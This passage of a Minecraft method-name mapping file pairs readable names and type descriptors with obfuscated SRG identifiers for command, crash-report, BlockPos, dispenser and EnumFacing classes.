(Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandTrigger/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandTrigger/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandTrigger/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandTrigger/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandTrigger/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandTrigger/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandTrigger/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/CommandWeather/getRequiredPermissionLevel ()I net/minecraft/command/CommandWeather/func_82362_a ()I +MD: net/minecraft/command/CommandWeather/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandWeather/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandWeather/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandWeather/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandWeather/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandWeather/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandWeather/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandWeather/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/server/CommandWhitelist/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandWhitelist/func_82362_a ()I +MD: net/minecraft/command/server/CommandWhitelist/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandWhitelist/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandWhitelist/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandWhitelist/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandWhitelist/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandWhitelist/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandWhitelist/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandWhitelist/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/CommandWorldBorder/getRequiredPermissionLevel ()I net/minecraft/command/CommandWorldBorder/func_82362_a ()I +MD: net/minecraft/command/CommandWorldBorder/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandWorldBorder/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandWorldBorder/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandWorldBorder/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandWorldBorder/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandWorldBorder/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandWorldBorder/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandWorldBorder/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/CommandWorldBorder/getWorldBorder ()Lnet/minecraft/world/border/WorldBorder; net/minecraft/command/CommandWorldBorder/func_175772_d ()Lnet/minecraft/world/border/WorldBorder; +MD: net/minecraft/command/CommandException/getErrorObjects ()[Ljava/lang/Object; net/minecraft/command/CommandException/func_74844_a ()[Ljava/lang/Object; +MD: net/minecraft/crash/CrashReportCategory$1/call ()Ljava/lang/String; net/minecraft/crash/CrashReportCategory$1/call ()Ljava/lang/String; +MD: net/minecraft/crash/CrashReportCategory$1/call ()Ljava/lang/Object; net/minecraft/crash/CrashReportCategory$1/call ()Ljava/lang/Object; +MD: net/minecraft/crash/CrashReportCategory$2/call ()Ljava/lang/String; net/minecraft/crash/CrashReportCategory$2/call ()Ljava/lang/String; +MD: net/minecraft/crash/CrashReportCategory$2/call ()Ljava/lang/Object; net/minecraft/crash/CrashReportCategory$2/call ()Ljava/lang/Object; +MD: net/minecraft/crash/CrashReportCategory$3/call ()Ljava/lang/String; net/minecraft/crash/CrashReportCategory$3/call ()Ljava/lang/String; +MD: net/minecraft/crash/CrashReportCategory$3/call ()Ljava/lang/Object; net/minecraft/crash/CrashReportCategory$3/call ()Ljava/lang/Object; +MD: net/minecraft/crash/CrashReportCategory$6/call ()Ljava/lang/String; net/minecraft/crash/CrashReportCategory$6/call ()Ljava/lang/String; +MD: net/minecraft/crash/CrashReportCategory$6/call ()Ljava/lang/Object; net/minecraft/crash/CrashReportCategory$6/call ()Ljava/lang/Object; +MD: net/minecraft/crash/CrashReportCategory$7/call ()Ljava/lang/String; net/minecraft/crash/CrashReportCategory$7/call ()Ljava/lang/String; +MD: net/minecraft/crash/CrashReportCategory$7/call ()Ljava/lang/Object; net/minecraft/crash/CrashReportCategory$7/call ()Ljava/lang/Object; +MD: net/minecraft/crash/CrashReportCategory$Entry/getKey ()Ljava/lang/String; net/minecraft/crash/CrashReportCategory$Entry/func_85089_a ()Ljava/lang/String; +MD: net/minecraft/crash/CrashReportCategory$Entry/getValue ()Ljava/lang/String; net/minecraft/crash/CrashReportCategory$Entry/func_85090_b ()Ljava/lang/String; +MD: net/minecraft/crash/CrashReportCategory/getStackTrace ()[Ljava/lang/StackTraceElement; net/minecraft/crash/CrashReportCategory/func_147152_a ()[Ljava/lang/StackTraceElement; +MD: net/minecraft/crash/CrashReportCategory/getCoordinateInfo (DDD)Ljava/lang/String; net/minecraft/crash/CrashReportCategory/func_85074_a (DDD)Ljava/lang/String; +MD: net/minecraft/crash/CrashReportCategory/getPrunedStackTrace (I)I net/minecraft/crash/CrashReportCategory/func_85073_a (I)I +MD: net/minecraft/crash/CrashReportCategory/addBlockInfo (Lnet/minecraft/crash/CrashReportCategory;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;I)V net/minecraft/crash/CrashReportCategory/func_180523_a (Lnet/minecraft/crash/CrashReportCategory;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;I)V +MD: net/minecraft/crash/CrashReportCategory/addBlockInfo (Lnet/minecraft/crash/CrashReportCategory;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/crash/CrashReportCategory/func_175750_a (Lnet/minecraft/crash/CrashReportCategory;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/crash/CrashReportCategory/getCoordinateInfo (Lnet/minecraft/util/BlockPos;)Ljava/lang/String; net/minecraft/crash/CrashReportCategory/func_180522_a (Lnet/minecraft/util/BlockPos;)Ljava/lang/String; +MD: net/minecraft/crash/CrashReportCategory/firstTwoElementsOfStackTraceMatch (Ljava/lang/StackTraceElement;Ljava/lang/StackTraceElement;)Z net/minecraft/crash/CrashReportCategory/func_85069_a (Ljava/lang/StackTraceElement;Ljava/lang/StackTraceElement;)Z +MD: net/minecraft/crash/CrashReportCategory/addCrashSection (Ljava/lang/String;Ljava/lang/Object;)V net/minecraft/crash/CrashReportCategory/func_71507_a (Ljava/lang/String;Ljava/lang/Object;)V +MD: net/minecraft/crash/CrashReportCategory/addCrashSectionThrowable (Ljava/lang/String;Ljava/lang/Throwable;)V net/minecraft/crash/CrashReportCategory/func_71499_a (Ljava/lang/String;Ljava/lang/Throwable;)V +MD: net/minecraft/crash/CrashReportCategory/addCrashSectionCallable (Ljava/lang/String;Ljava/util/concurrent/Callable;)V net/minecraft/crash/CrashReportCategory/func_71500_a (Ljava/lang/String;Ljava/util/concurrent/Callable;)V +MD: net/minecraft/crash/CrashReportCategory/appendToStringBuilder (Ljava/lang/StringBuilder;)V net/minecraft/crash/CrashReportCategory/func_85072_a (Ljava/lang/StringBuilder;)V +MD: net/minecraft/crash/CrashReportCategory/trimStackTraceEntriesFromBottom (I)V net/minecraft/crash/CrashReportCategory/func_85070_b (I)V +MD: net/minecraft/util/BlockPos$1$1/computeNext ()Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos$1$1/computeNext ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos$1$1/computeNext ()Ljava/lang/Object; net/minecraft/util/BlockPos$1$1/computeNext ()Ljava/lang/Object; +MD: net/minecraft/util/BlockPos$1/iterator ()Ljava/util/Iterator; net/minecraft/util/BlockPos$1/iterator ()Ljava/util/Iterator; +MD: net/minecraft/util/BlockPos$2$1/computeNext ()Lnet/minecraft/util/BlockPos$MutableBlockPos; net/minecraft/util/BlockPos$2$1/computeNext ()Lnet/minecraft/util/BlockPos$MutableBlockPos; +MD: net/minecraft/util/BlockPos$2$1/computeNext ()Ljava/lang/Object; net/minecraft/util/BlockPos$2$1/computeNext ()Ljava/lang/Object; +MD: net/minecraft/util/BlockPos$2/iterator ()Ljava/util/Iterator; net/minecraft/util/BlockPos$2/iterator ()Ljava/util/Iterator; +MD: net/minecraft/util/BlockPos$MutableBlockPos/access$002 (Lnet/minecraft/util/BlockPos$MutableBlockPos;I)I net/minecraft/util/BlockPos$MutableBlockPos/access$002 (Lnet/minecraft/util/BlockPos$MutableBlockPos;I)I +MD: net/minecraft/util/BlockPos$MutableBlockPos/access$102 (Lnet/minecraft/util/BlockPos$MutableBlockPos;I)I net/minecraft/util/BlockPos$MutableBlockPos/access$102 (Lnet/minecraft/util/BlockPos$MutableBlockPos;I)I +MD: net/minecraft/util/BlockPos$MutableBlockPos/set (III)Lnet/minecraft/util/BlockPos$MutableBlockPos; net/minecraft/util/BlockPos$MutableBlockPos/func_181079_c (III)Lnet/minecraft/util/BlockPos$MutableBlockPos; +MD: net/minecraft/util/BlockPos$MutableBlockPos/access$202 (Lnet/minecraft/util/BlockPos$MutableBlockPos;I)I net/minecraft/util/BlockPos$MutableBlockPos/access$202 (Lnet/minecraft/util/BlockPos$MutableBlockPos;I)I +MD: net/minecraft/util/BlockPos$MutableBlockPos/crossProduct (Lnet/minecraft/util/Vec3i;)Lnet/minecraft/util/Vec3i; net/minecraft/util/BlockPos$MutableBlockPos/func_177955_d (Lnet/minecraft/util/Vec3i;)Lnet/minecraft/util/Vec3i; +MD: net/minecraft/util/BlockPos$MutableBlockPos/getX ()I net/minecraft/util/BlockPos$MutableBlockPos/func_177958_n ()I +MD: net/minecraft/util/BlockPos$MutableBlockPos/getY ()I net/minecraft/util/BlockPos$MutableBlockPos/func_177956_o ()I +MD: net/minecraft/util/BlockPos$MutableBlockPos/getZ ()I net/minecraft/util/BlockPos$MutableBlockPos/func_177952_p ()I +MD: net/minecraft/util/BlockPos/up ()Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177984_a ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/add (DDD)Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177963_a (DDD)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/add (III)Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177982_a (III)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/fromLong (J)Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177969_a (J)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/getAllInBox (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;)Ljava/lang/Iterable; net/minecraft/util/BlockPos/func_177980_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;)Ljava/lang/Iterable; +MD: net/minecraft/util/BlockPos/offset (Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177972_a (Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/offset (Lnet/minecraft/util/EnumFacing;I)Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177967_a (Lnet/minecraft/util/EnumFacing;I)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/add (Lnet/minecraft/util/Vec3i;)Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177971_a (Lnet/minecraft/util/Vec3i;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/down ()Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177977_b ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/up (I)Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177981_b (I)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/getAllInBoxMutable (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;)Ljava/lang/Iterable; net/minecraft/util/BlockPos/func_177975_b (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;)Ljava/lang/Iterable; +MD: net/minecraft/util/BlockPos/subtract (Lnet/minecraft/util/Vec3i;)Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177973_b (Lnet/minecraft/util/Vec3i;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/north ()Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177978_c ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/down (I)Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177979_c (I)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/crossProduct (Lnet/minecraft/util/Vec3i;)Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177955_d (Lnet/minecraft/util/Vec3i;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/south ()Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177968_d ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/north (I)Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177964_d (I)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/crossProduct (Lnet/minecraft/util/Vec3i;)Lnet/minecraft/util/Vec3i; net/minecraft/util/BlockPos/func_177955_d (Lnet/minecraft/util/Vec3i;)Lnet/minecraft/util/Vec3i; +MD: net/minecraft/util/BlockPos/west ()Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177976_e ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/south (I)Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177970_e (I)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/east ()Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177974_f ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/west (I)Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177985_f (I)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/BlockPos/toLong ()J net/minecraft/util/BlockPos/func_177986_g ()J +MD: net/minecraft/util/BlockPos/east (I)Lnet/minecraft/util/BlockPos; net/minecraft/util/BlockPos/func_177965_g (I)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/dispenser/IBlockSource/getX ()D net/minecraft/dispenser/IBlockSource/func_82615_a ()D +MD: net/minecraft/dispenser/IBlockSource/getY ()D net/minecraft/dispenser/IBlockSource/func_82617_b ()D +MD: net/minecraft/dispenser/IBlockSource/getZ ()D net/minecraft/dispenser/IBlockSource/func_82616_c ()D +MD: net/minecraft/dispenser/IBlockSource/getBlockPos ()Lnet/minecraft/util/BlockPos; net/minecraft/dispenser/IBlockSource/func_180699_d ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/dispenser/IBlockSource/getBlockMetadata ()I net/minecraft/dispenser/IBlockSource/func_82620_h ()I +MD: net/minecraft/dispenser/IBlockSource/getBlockTileEntity ()Lnet/minecraft/tileentity/TileEntity; net/minecraft/dispenser/IBlockSource/func_150835_j ()Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockSourceImpl/getX ()D net/minecraft/block/BlockSourceImpl/func_82615_a ()D +MD: net/minecraft/block/BlockSourceImpl/getY ()D net/minecraft/block/BlockSourceImpl/func_82617_b ()D +MD: net/minecraft/block/BlockSourceImpl/getZ ()D net/minecraft/block/BlockSourceImpl/func_82616_c ()D +MD: net/minecraft/block/BlockSourceImpl/getBlockPos ()Lnet/minecraft/util/BlockPos; net/minecraft/block/BlockSourceImpl/func_180699_d ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/block/BlockSourceImpl/getBlockMetadata ()I net/minecraft/block/BlockSourceImpl/func_82620_h ()I +MD: net/minecraft/block/BlockSourceImpl/getBlockTileEntity ()Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockSourceImpl/func_150835_j ()Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockSourceImpl/getWorld ()Lnet/minecraft/world/World; net/minecraft/block/BlockSourceImpl/func_82618_k ()Lnet/minecraft/world/World; +MD: net/minecraft/util/Cartesian$GetList/apply ([Ljava/lang/Object;)Ljava/util/List; net/minecraft/util/Cartesian$GetList/apply ([Ljava/lang/Object;)Ljava/util/List; +MD: net/minecraft/util/Cartesian$GetList/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/util/Cartesian$GetList/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/util/Cartesian$Product$ProductIterator/next ()[Ljava/lang/Object; net/minecraft/util/Cartesian$Product$ProductIterator/next ()[Ljava/lang/Object; +MD: net/minecraft/util/Cartesian$Product$ProductIterator/endOfData ()V net/minecraft/util/Cartesian$Product$ProductIterator/func_179422_b ()V +MD: net/minecraft/util/Cartesian$Product$ProductIterator/hasNext ()Z net/minecraft/util/Cartesian$Product$ProductIterator/hasNext ()Z +MD: net/minecraft/util/Cartesian$Product$ProductIterator/next ()Ljava/lang/Object; net/minecraft/util/Cartesian$Product$ProductIterator/next ()Ljava/lang/Object; +MD: net/minecraft/util/Cartesian$Product/iterator ()Ljava/util/Iterator; net/minecraft/util/Cartesian$Product/iterator ()Ljava/util/Iterator; +MD: net/minecraft/util/Cartesian/access$200 (Ljava/lang/Class;I)[Ljava/lang/Object; net/minecraft/util/Cartesian/access$200 (Ljava/lang/Class;I)[Ljava/lang/Object; +MD: net/minecraft/util/Cartesian/cartesianProduct (Ljava/lang/Class;Ljava/lang/Iterable;)Ljava/lang/Iterable; net/minecraft/util/Cartesian/func_179318_a (Ljava/lang/Class;Ljava/lang/Iterable;)Ljava/lang/Iterable; +MD: net/minecraft/util/Cartesian/cartesianProduct (Ljava/lang/Iterable;)Ljava/lang/Iterable; net/minecraft/util/Cartesian/func_179321_a (Ljava/lang/Iterable;)Ljava/lang/Iterable; +MD: net/minecraft/util/Cartesian/createArray (Ljava/lang/Class;I)[Ljava/lang/Object; net/minecraft/util/Cartesian/func_179319_b (Ljava/lang/Class;I)[Ljava/lang/Object; +MD: net/minecraft/util/Cartesian/toArray (Ljava/lang/Class;Ljava/lang/Iterable;)[Ljava/lang/Object; net/minecraft/util/Cartesian/func_179322_b (Ljava/lang/Class;Ljava/lang/Iterable;)[Ljava/lang/Object; +MD: net/minecraft/util/Cartesian/arraysAsLists (Ljava/lang/Iterable;)Ljava/lang/Iterable; net/minecraft/util/Cartesian/func_179323_b (Ljava/lang/Iterable;)Ljava/lang/Iterable; +MD: net/minecraft/dispenser/BehaviorDefaultDispenseItem/doDispense (Lnet/minecraft/world/World;Lnet/minecraft/item/ItemStack;ILnet/minecraft/util/EnumFacing;Lnet/minecraft/dispenser/IPosition;)V net/minecraft/dispenser/BehaviorDefaultDispenseItem/func_82486_a (Lnet/minecraft/world/World;Lnet/minecraft/item/ItemStack;ILnet/minecraft/util/EnumFacing;Lnet/minecraft/dispenser/IPosition;)V +MD: net/minecraft/dispenser/BehaviorDefaultDispenseItem/playDispenseSound (Lnet/minecraft/dispenser/IBlockSource;)V net/minecraft/dispenser/BehaviorDefaultDispenseItem/func_82485_a (Lnet/minecraft/dispenser/IBlockSource;)V +MD: net/minecraft/dispenser/BehaviorDefaultDispenseItem/spawnDispenseParticles (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/util/EnumFacing;)V net/minecraft/dispenser/BehaviorDefaultDispenseItem/func_82489_a (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/util/EnumFacing;)V +MD: net/minecraft/dispenser/BehaviorDefaultDispenseItem/dispense (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/dispenser/BehaviorDefaultDispenseItem/func_82482_a (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/dispenser/BehaviorDefaultDispenseItem/func_82488_a (Lnet/minecraft/util/EnumFacing;)I net/minecraft/dispenser/BehaviorDefaultDispenseItem/func_82488_a (Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/dispenser/BehaviorDefaultDispenseItem/dispenseStack (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/dispenser/BehaviorDefaultDispenseItem/func_82487_b (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/util/RegistryNamespacedDefaultedByKey/validateKey ()V net/minecraft/util/RegistryNamespacedDefaultedByKey/func_177776_a ()V +MD: net/minecraft/util/RegistryNamespacedDefaultedByKey/getObjectById (I)Ljava/lang/Object; net/minecraft/util/RegistryNamespacedDefaultedByKey/func_148754_a (I)Ljava/lang/Object; +MD: net/minecraft/util/RegistryNamespacedDefaultedByKey/register (ILjava/lang/Object;Ljava/lang/Object;)V net/minecraft/util/RegistryNamespacedDefaultedByKey/func_177775_a (ILjava/lang/Object;Ljava/lang/Object;)V +MD: net/minecraft/util/RegistryNamespacedDefaultedByKey/getObject (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/util/RegistryNamespacedDefaultedByKey/func_82594_a (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/util/RegistryDefaulted/getObject (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/util/RegistryDefaulted/func_82594_a (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/util/EnumFacing$Axis/getName2 ()Ljava/lang/String; net/minecraft/util/EnumFacing$Axis/func_176719_a ()Ljava/lang/String; +MD: net/minecraft/util/EnumFacing$Axis/apply (Lnet/minecraft/util/EnumFacing;)Z net/minecraft/util/EnumFacing$Axis/apply (Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/util/EnumFacing$Axis/byName (Ljava/lang/String;)Lnet/minecraft/util/EnumFacing$Axis; net/minecraft/util/EnumFacing$Axis/func_176717_a (Ljava/lang/String;)Lnet/minecraft/util/EnumFacing$Axis; +MD: net/minecraft/util/EnumFacing$Axis/apply (Ljava/lang/Object;)Z net/minecraft/util/EnumFacing$Axis/apply (Ljava/lang/Object;)Z +MD: net/minecraft/util/EnumFacing$Axis/isVertical ()Z net/minecraft/util/EnumFacing$Axis/func_176720_b ()Z +MD: net/minecraft/util/EnumFacing$Axis/isHorizontal ()Z net/minecraft/util/EnumFacing$Axis/func_176722_c ()Z +MD: net/minecraft/util/EnumFacing$Axis/getPlane ()Lnet/minecraft/util/EnumFacing$Plane; net/minecraft/util/EnumFacing$Axis/func_176716_d ()Lnet/minecraft/util/EnumFacing$Plane; +MD: net/minecraft/util/EnumFacing$Axis/getName ()Ljava/lang/String; net/minecraft/util/EnumFacing$Axis/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/util/EnumFacing$Axis/toString ()Ljava/lang/String; net/minecraft/util/EnumFacing$Axis/toString ()Ljava/lang/String; +MD: net/minecraft/util/EnumFacing$Axis/values ()[Lnet/minecraft/util/EnumFacing$Axis; net/minecraft/util/EnumFacing$Axis/values ()[Lnet/minecraft/util/EnumFacing$Axis; +MD: net/minecraft/util/EnumFacing$AxisDirection/getOffset ()I net/minecraft/util/EnumFacing$AxisDirection/func_179524_a ()I +MD: net/minecraft/util/EnumFacing$AxisDirection/toString ()Ljava/lang/String; net/minecraft/util/EnumFacing$AxisDirection/toString ()Ljava/lang/String; +MD: net/minecraft/util/EnumFacing$AxisDirection/values ()[Lnet/minecraft/util/EnumFacing$AxisDirection; net/minecraft/util/EnumFacing$AxisDirection/values ()[Lnet/minecraft/util/EnumFacing$AxisDirection; +MD: net/minecraft/util/EnumFacing$Plane/facings ()[Lnet/minecraft/util/EnumFacing; net/minecraft/util/EnumFacing$Plane/func_179516_a ()[Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/util/EnumFacing$Plane/apply (Lnet/minecraft/util/EnumFacing;)Z net/minecraft/util/EnumFacing$Plane/apply (Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/util/EnumFacing$Plane/random (Ljava/util/Random;)Lnet/minecraft/util/EnumFacing; net/minecraft/util/EnumFacing$Plane/func_179518_a (Ljava/util/Random;)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/util/EnumFacing$Plane/apply (Ljava/lang/Object;)Z net/minecraft/util/EnumFacing$Plane/apply (Ljava/lang/Object;)Z +MD: net/minecraft/util/EnumFacing$Plane/iterator ()Ljava/util/Iterator; net/minecraft/util/EnumFacing$Plane/iterator ()Ljava/util/Iterator; +MD: net/minecraft/util/EnumFacing$Plane/values ()[Lnet/minecraft/util/EnumFacing$Plane; net/minecraft/util/EnumFacing$Plane/values ()[Lnet/minecraft/util/EnumFacing$Plane; +MD: net/minecraft/util/EnumFacing/getIndex ()I net/minecraft/util/EnumFacing/func_176745_a ()I +MD: net/minecraft/util/EnumFacing/fromAngle (D)Lnet/minecraft/util/EnumFacing; net/minecraft/util/EnumFacing/func_176733_a (D)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/util/EnumFacing/getFacingFromVector (FFF)Lnet/minecraft/util/EnumFacing; net/minecraft/util/EnumFacing/func_176737_a (FFF)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/util/EnumFacing/getFront (I)Lnet/minecraft/util/EnumFacing; net/minecraft/util/EnumFacing/func_82600_a (I)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/util/EnumFacing/rotateAround (Lnet/minecraft/util/EnumFacing$Axis;)Lnet/minecraft/util/EnumFacing; net/minecraft/util/EnumFacing/func_176732_a (Lnet/minecraft/util/EnumFacing$Axis;)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/util/EnumFacing/getFacingFromAxis (Lnet/minecraft/util/EnumFacing$AxisDirection;Lnet/minecraft/util/EnumFacing$Axis;)Lnet/minecraft/util/EnumFacing; net/minecraft/util/EnumFacing/func_181076_a (Lnet/minecraft/util/EnumFacing$AxisDirection;Lnet/minecraft/util/EnumFacing$Axis;)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/util/EnumFacing/byName (Ljava/lang/String;)Lnet/minecraft/util/EnumFacing; net/minecraft/util/EnumFacing/func_176739_a (Ljava/lang/String;)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/util/EnumFacing/random (Ljava/util/Random;)Lnet/minecraft/util/EnumFacing; net/minecraft/util/EnumFacing/func_176741_a (Ljava/util/Random;)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/util/EnumFacing/getHorizontalIndex ()I net/minecraft/util/EnumFacing/func_176736_b ()I +MD: net/minecraft/util/EnumFacing/getHorizontal (I)Lnet/minecraft/util/EnumFacing; net/minecraft/util/EnumFacing/func_176731_b (I)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/util/EnumFacing/getAxisDirection ()Lnet/minecraft/util/EnumFacing$AxisDirection; net/minecraft/util/EnumFacing/func_176743_c ()Lnet/minecraft/util/EnumFacing$AxisDirection; +MD: net/minecraft/util/EnumFacing/getOpposite ()Lnet/minecraft/util/EnumFacing; net/minecraft/util/EnumFacing/func_176734_d ()Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/util/EnumFacing/rotateY ()Lnet/minecraft/util/EnumFacing; net/minecraft/util/EnumFacing/func_176746_e ()Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/util/EnumFacing/rotateYCCW ()Lnet/minecraft/util/EnumFacing; net/minecraft/util/EnumFacing/func_176735_f ()Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/util/EnumFacing/getFrontOffsetX ()I net/minecraft/util/EnumFacing/func_82601_c ()I +MD: net/minecraft/util/EnumFacing/getFrontOffsetY ()I net/minecraft/util/EnumFacing/func_96559_d ()I +MD: net/minecraft/util/EnumFacing/getFrontOffsetZ ()I net/minecraft/util/EnumFacing/func_82599_e 